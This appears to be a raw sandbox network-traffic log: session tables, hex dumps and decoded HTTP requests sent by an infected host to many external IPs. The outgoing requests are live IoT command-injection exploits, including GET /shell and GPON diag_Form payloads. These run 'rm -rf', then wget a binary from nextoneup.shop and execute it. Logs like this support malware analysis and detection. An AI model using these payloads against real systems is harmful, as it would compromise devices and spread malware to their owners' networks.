Apr 14, 2024 04:01:47.091325045 CEST	532	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 310 Expires: Sun, 14 Apr 2024 02:01:46 GMT Date: Sun, 14 Apr 2024 02:01:46 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 35 34 39 38 31 30 30 32 26 23 34 36 3b 31 37 31 33 30 36 30 31 30 36 26 23 34 36 3b 31 37 62 66 34 38 37 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 35 34 39 38 31 30 30 32 26 23 34 36 3b 31 37 31 33 30 36 30 31 30 36 26 23 34 36 3b 31 37 62 66 34 38 37 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.54981002.1713060106.17bf487<P>https://errors.edgesuite.net/9.54981002.1713060106.17bf487</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2115	192.168.2.13	32906	154.41.233.203	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:46.885572910 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:47.296143055 CEST	1289	IN	HTTP/1.1 404 Not Found Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html last-modified: Wed, 19 Jul 2023 08:50:26 GMT etag: "999-64b7a3d2-1d29a35a8e82fa6d;;;" accept-ranges: bytes content-length: 2457 date: Sun, 14 Apr 2024 02:01:47 GMT server: LiteSpeed platform: hostinger Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 75 73 22 20 70 72 65 66 69 78 3d 22 63 6f 6e 74 65 6e 74 3a 20 68 74 74 70 3a 2f 2f 70 75 72 6c 2e 6f 72 67 2f 72 73 73 2f 31 2e 30 2f 6d 6f 64 75 6c 65 73 2f 63 6f 6e 74 65 6e 74 2f 20 64 63 3a 20 68 74 74 70 3a 2f 2f 70 75 72 6c 2e 6f 72 67 2f 64 63 2f 74 65 72 6d 73 2f 20 66 6f 61 66 3a 20 68 74 74 70 3a 2f 2f 78 6d 6c 6e 73 2e 63 6f 6d 2f 66 6f 61 66 2f 30 2e 31 2f 20 6f 67 3a 20 68 74 74 70 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 23 20 72 64 66 73 3a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 30 31 2f 72 64 66 2d 73 63 68 65 6d 61 23 20 73 69 6f 63 3a 20 68 74 74 70 3a 2f 2f 72 64 66 73 2e 6f 72 67 2f 73 69 6f 63 2f 6e 73 23 20 73 69 6f 63 74 3a 20 68 74 74 70 3a 2f 2f 72 64 66 73 2e 6f 72 67 2f 73 69 6f 63 2f 74 79 70 65 73 23 20 73 6b 6f 73 3a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 34 2f 30 32 2f 73 6b 6f 73 2f 63 6f 72 65 23 20 78 73 64 3a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 23 22 3e 0a 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 40 63 68 61 72 73 65 74 20 22 55 54 46 2d 38 22 3b 0a 20 20 20 20 20 20 20 20 5b 6e 67 5c 3a 63 6c 6f 61 6b 5d 2c 0a 20 20 20 20 20 20 20 20 5b 6e 67 2d 63 6c 6f 61 6b 5d 2c 0a 20 20 20 20 20 20 20 20 5b 64 61 74 61 2d 6e 67 2d 63 6c 6f 61 6b 5d 2c 0a 20 20 20 20 20 20 20 20 5b 78 2d 6e 67 2d 63 6c 6f 61 6b 5d 2c 0a 20 20 20 20 20 20 20 20 2e 6e 67 2d 63 6c 6f 61 6b 2c 0a 20 20 20 20 20 20 20 20 2e 78 2d 6e 67 2d 63 6c 6f 61 6b 2c 0a 20 20 20 20 20 20 20 20 2e 6e 67 2d 68 69 64 65 3a 6e 6f 74 28 2e 6e 67 2d 68 69 64 65 2d 61 6e 69 6d 61 74 65 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 6e 67 5c 3a 66 6f 72 6d 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 2e 6e 67 2d 61 6e 69 6d 61 74 65 2d 73 68 69 6d 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 69 73 69 62 69 6c 69 74 79 3a 20 68 69 64 64 65 6e 3b 0a 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 2e 6e 67 2d 61 6e 63 68 6f 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 Data Ascii: <!DOCTYPE html><html lang="en-us" prefix="content: http://purl.org/rss/1.0/modules/content/ dc: http://purl.org/dc/terms/ foaf: http://xmlns.com/foaf/0.1/ og: http://ogp.me/ns# rdfs: http://www.w3.org/2000/01/rdf-schema# sioc: http://rdfs.org/sioc/ns# sioct: http://rdfs.org/sioc/types# skos: http://www.w3.org/2004/02/skos/core# xsd: http://www.w3.org/2001/XMLSchema#"><head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <style type="text/css"> @charset "UTF-8"; [ng\:cloak], [ng-cloak], [data-ng-cloak], [x-ng-cloak], .ng-cloak, .x-ng-cloak, .ng-hide:not(.ng-hide-animate) { display: none !important; } ng\:form { display: block; } .ng-animate-shim { visibility: hidden; } .ng-anchor { position: absolute; } </style> <meta http-equiv="X-UA-Compat
Apr 14, 2024 04:01:47.296161890 CEST	1289	IN	Data Raw: 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e Data Ascii: ible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>Oops, something lost</title> <meta name="description" content="Oops, looks like the page is lost. Start your website on the cheap.
Apr 14, 2024 04:01:47.296179056 CEST	231	IN	Data Raw: 20 6c 6f 73 74 2e 3c 2f 68 31 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 22 20 63 6c 61 73 73 3d 22 73 75 62 2d 68 65 61 64 65 72 20 74 65 78 74 2d Data Ascii: lost.</h1> <p style="font-size:22px;" class="sub-header text-block-narrow">This is not a fault, just an accident that was not intentional.</p> </div> </div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2116	192.168.2.13	53288	117.180.238.129	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:47.166369915 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:47.643230915 CEST	340	IN	HTTP/1.1 403 Forbidden Date: Sun, 14 Apr 2024 02:01:47 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive server: KS-COMPASS Cache-Control: no-cache Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body bgcolor="white"><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>
Apr 14, 2024 04:01:48.596676111 CEST	340	IN	HTTP/1.1 403 Forbidden Date: Sun, 14 Apr 2024 02:01:47 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive server: KS-COMPASS Cache-Control: no-cache Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body bgcolor="white"><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2117	192.168.2.13	60674	154.212.248.4	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:47.328984976 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 35 30 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:50Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
2118	192.168.2.13	60714	154.212.248.4	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:47.344825029 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 35 30 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:50Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
2119	192.168.2.13	35826	172.234.221.196	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:47.385370016 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:47.598309040 CEST	372	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx Date: Sun, 14 Apr 2024 02:01:47 GMT Content-Type: text/html Content-Length: 190 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2120	192.168.2.13	48258	52.216.214.244	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:47.400630951 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:47.640935898 CEST	309	IN	HTTP/1.1 301 Moved Permanently x-amz-bucket-region: eu-central-1 x-amz-request-id: E5R23KRW6HYZ833G x-amz-id-2: kcS8hwiLdizM7YEHQtpRoULpeaZmZv1SeHeIlRG5IYHVBqQmQIB60sGBv4YWDDxixdISx50tYpA= Content-Type: application/xml Transfer-Encoding: chunked Date: Sun, 14 Apr 2024 02:01:46 GMT Server: AmazonS3
Apr 14, 2024 04:01:47.640963078 CEST	449	IN	Data Raw: 31 62 35 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 0a 3c 45 72 72 6f 72 3e 3c 43 6f 64 65 3e 50 65 72 6d 61 6e 65 6e 74 52 65 64 69 72 65 63 74 3c 2f 43 6f 64 65 3e 3c Data Ascii: 1b5<?xml version="1.0" encoding="UTF-8"?><Error><Code>PermanentRedirect</Code><Message>The bucket you are attempting to access must be addressed using the specified endpoint. Please send all future requests to this endpoint.</Message><Endpo
Apr 14, 2024 04:01:47.855747938 CEST	758	IN	HTTP/1.1 301 Moved Permanently x-amz-bucket-region: eu-central-1 x-amz-request-id: E5R23KRW6HYZ833G x-amz-id-2: kcS8hwiLdizM7YEHQtpRoULpeaZmZv1SeHeIlRG5IYHVBqQmQIB60sGBv4YWDDxixdISx50tYpA= Content-Type: application/xml Transfer-Encoding: chunked Date: Sun, 14 Apr 2024 02:01:46 GMT Server: AmazonS3 Data Raw: 31 62 35 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 0a 3c 45 72 72 6f 72 3e 3c 43 6f 64 65 3e 50 65 72 6d 61 6e 65 6e 74 52 65 64 69 72 65 63 74 3c 2f 43 6f 64 65 3e 3c 4d 65 73 73 61 67 65 3e 54 68 65 20 62 75 63 6b 65 74 20 79 6f 75 20 61 72 65 20 61 74 74 65 6d 70 74 69 6e 67 20 74 6f 20 61 63 63 65 73 73 20 6d 75 73 74 20 62 65 20 61 64 64 72 65 73 73 65 64 20 75 73 69 6e 67 20 74 68 65 20 73 70 65 63 69 66 69 65 64 20 65 6e 64 70 6f 69 6e 74 2e 20 50 6c 65 61 73 65 20 73 65 6e 64 20 61 6c 6c 20 66 75 74 75 72 65 20 72 65 71 75 65 73 74 73 20 74 6f 20 74 68 69 73 20 65 6e 64 70 6f 69 6e 74 2e 3c 2f 4d 65 73 73 61 67 65 3e 3c 45 6e 64 70 6f 69 6e 74 3e 73 68 65 6c 6c 2e 73 33 2e 61 6d 61 7a 6f 6e 61 77 73 2e 63 6f 6d 3c 2f 45 6e 64 70 6f 69 6e 74 3e 3c 42 75 63 6b 65 74 3e 73 68 65 6c 6c 3c 2f 42 75 63 6b 65 74 3e 3c 52 65 71 75 65 73 74 49 64 3e 45 35 52 32 33 4b 52 57 36 48 59 5a 38 33 33 47 3c 2f 52 65 71 75 65 73 74 49 64 3e 3c 48 6f 73 74 49 64 3e 6b 63 53 38 68 77 69 4c 64 69 7a 4d 37 59 45 48 51 74 70 52 6f 55 4c 70 65 61 5a 6d 5a 76 31 53 65 48 65 49 6c 52 47 35 49 59 48 56 42 71 51 6d 51 49 42 36 30 73 47 42 76 34 59 57 44 44 78 69 78 64 49 53 78 35 30 74 59 70 41 3d 3c 2f 48 6f 73 74 49 64 3e 3c 2f 45 72 72 6f 72 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 1b5<?xml version="1.0" encoding="UTF-8"?><Error><Code>PermanentRedirect</Code><Message>The bucket you are attempting to access must be addressed using the specified endpoint. Please send all future requests to this endpoint.</Message><Endpoint>shell.s3.amazonaws.com</Endpoint><Bucket>shell</Bucket><RequestId>E5R23KRW6HYZ833G</RequestId><HostId>kcS8hwiLdizM7YEHQtpRoULpeaZmZv1SeHeIlRG5IYHVBqQmQIB60sGBv4YWDDxixdISx50tYpA=</HostId></Error>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2121	192.168.2.13	51576	20.103.122.207	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:47.624291897 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
2122	192.168.2.13	51060	8.130.104.154	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:47.639398098 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:47.982553959 CEST	774	IN	HTTP/1.1 404 Not Found Server: Tengine Date: Sun, 14 Apr 2024 02:01:47 GMT Content-Type: text/html Content-Length: 612 Connection: keep-alive Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 20 53 6f 72 72 79 20 66 6f 72 20 74 68 65 20 69 6e 63 6f 6e 76 65 6e 69 65 6e 63 65 2e 3c 62 72 2f 3e 0d 0a 50 6c 65 61 73 65 20 72 65 70 6f 72 74 20 74 68 69 73 20 6d 65 73 73 61 67 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 20 74 68 65 20 66 6f 6c 6c 6f 77 69 6e 67 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 74 6f 20 75 73 2e 3c 62 72 2f 3e 0d 0a 54 68 61 6e 6b 20 79 6f 75 20 76 65 72 79 20 6d 75 63 68 21 3c 2f 70 3e 0d 0a 3c 74 61 62 6c 65 3e 0d 0a 3c 74 72 3e 0d 0a 3c 74 64 3e 55 52 4c 3a 3c 2f 74 64 3e 0d 0a 3c 74 64 3e 68 74 74 70 3a 2f 2f 31 32 37 2e 30 2e 30 2e 31 2f 73 68 65 6c 6c 3f 63 64 2b 2f 74 6d 70 3b 72 6d 2b 2d 72 66 2b 2a 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 6a 61 77 73 3b 73 68 2b 2f 74 6d 70 2f 6a 61 77 73 3c 2f 74 64 3e 0d 0a 3c 2f 74 72 3e 0d 0a 3c 74 72 3e 0d 0a 3c 74 64 3e 53 65 72 76 65 72 3a 3c 2f 74 64 3e 0d 0a 3c 74 64 3e 64 6f 63 6b 65 72 3c 2f 74 64 3e 0d 0a 3c 2f 74 72 3e 0d 0a 3c 74 72 3e 0d 0a 3c 74 64 3e 44 61 74 65 3a 3c 2f 74 64 3e 0d 0a 3c 74 64 3e 32 30 32 34 2f 30 34 2f 31 34 20 31 30 3a 30 31 3a 34 37 3c 2f 74 64 3e 0d 0a 3c 2f 74 72 3e 0d 0a 3c 2f 74 61 62 6c 65 3e 0d 0a 3c 68 72 2f 3e 50 6f 77 65 72 65 64 20 62 79 20 54 65 6e 67 69 6e 65 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 74 65 6e 67 69 6e 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center> Sorry for the inconvenience.<br/>Please report this message and include the following information to us.<br/>Thank you very much!</p><table><tr><td>URL:</td><td>http://127.0.0.1/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws</td></tr><tr><td>Server:</td><td>docker</td></tr><tr><td>Date:</td><td>2024/04/14 10:01:47</td></tr></table><hr/>Powered by Tengine<hr><center>tengine</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2123	192.168.2.13	48662	154.204.204.135	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:47.966766119 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 33 35 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:35Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
2124	192.168.2.13	60756	154.212.248.4	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:48.001302958 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 35 30 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:50Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
2125	192.168.2.13	60360	123.237.195.43	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:48.359127998 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2126	192.168.2.13	33636	123.179.44.119	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:48.359134912 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2127	192.168.2.13	42870	79.130.46.216	443

Timestamp	Bytes transferred	Direction	Data
